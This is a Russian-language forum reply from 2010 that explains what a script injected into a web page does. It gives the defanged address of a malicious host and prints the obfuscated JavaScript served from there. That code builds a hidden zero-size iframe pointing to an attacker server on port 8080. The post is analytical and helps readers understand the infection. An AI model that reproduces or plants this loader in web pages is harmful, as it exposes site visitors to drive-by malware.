Показать сообщение отдельно
  #4 (permalink)  
Старый 29.05.2010, 17:13
Аватар для B@rmaley.e><e
⊞ Развернуть
Отправить личное сообщение для B@rmaley.e><e Посмотреть профиль Найти все сообщения от B@rmaley.e><e
 
Регистрация: 11.01.2010
Сообщений: 1,810

Сообщение от mycoding
декомпилятор js?
Чего? JS динамически компилируемый язык, Вам не грозит увидеть его в скомпилированном виде.

К вопросу, чего он делает:
Подключает тег script с адресом http[двуеточие]//tenthprofit.ru[двуеточие]8080/t-mobile-com/google.com/deviantart.com.php

Там, в свою очередь, выдается следующее:
try{
Trvfvwlnvu6gz = document.referrer;
Np7hqwn4spuwm = '';
De18jtezg = 'RU';
Y2uyefq0s28a627us41 = '3275633747';
function Gl04wmepuripbb2r(Agj5a90vir75){
  if (Trvfvwlnvu6gz.indexOf(Agj5a90vir75) != -1){
    Np7hqwn4spuwm=Agj5a90vir75;
   }
}
Zquyj9ucncig = 'http:' + '//tenthprofit.ru:8080/index.php?pid=1&home=1';
Lfsqbfjyjq0b8u = 24-(12*2);
var Ot9vsbdmhjjhrly2d7 = document.createElement('div');
Ot9vsbdmhjjhrly2d7.id = 'Yxgwoh37f331s';
document.body.appendChild(Ot9vsbdmhjjhrly2d7);
Ryg3fb1ath = 'Lfsqbfjyjq0b8u';
Io1ksfduht3j8t = document.createElement('i&#&f(r@($@a!&m@e!(!'.replace(/&|\!|\^|\(|@|\)|#|\$/ig, ''));
Io1ksfduht3j8t.src = Zquyj9ucncig;
Io1ksfduht3j8t.height = Lfsqbfjyjq0b8u;
Io1ksfduht3j8t.width = Lfsqbfjyjq0b8u;
document.getElementById('Yxgwoh37f331s').appendChild(Io1ksfduht3j8t);

}catch(e){}


Здесь подключается невидимый фрейм с адресом, который можно увидеть выше.

Последний раз редактировалось B@rmaley.e><e, 29.05.2010 в 17:25.
Ответить с цитированием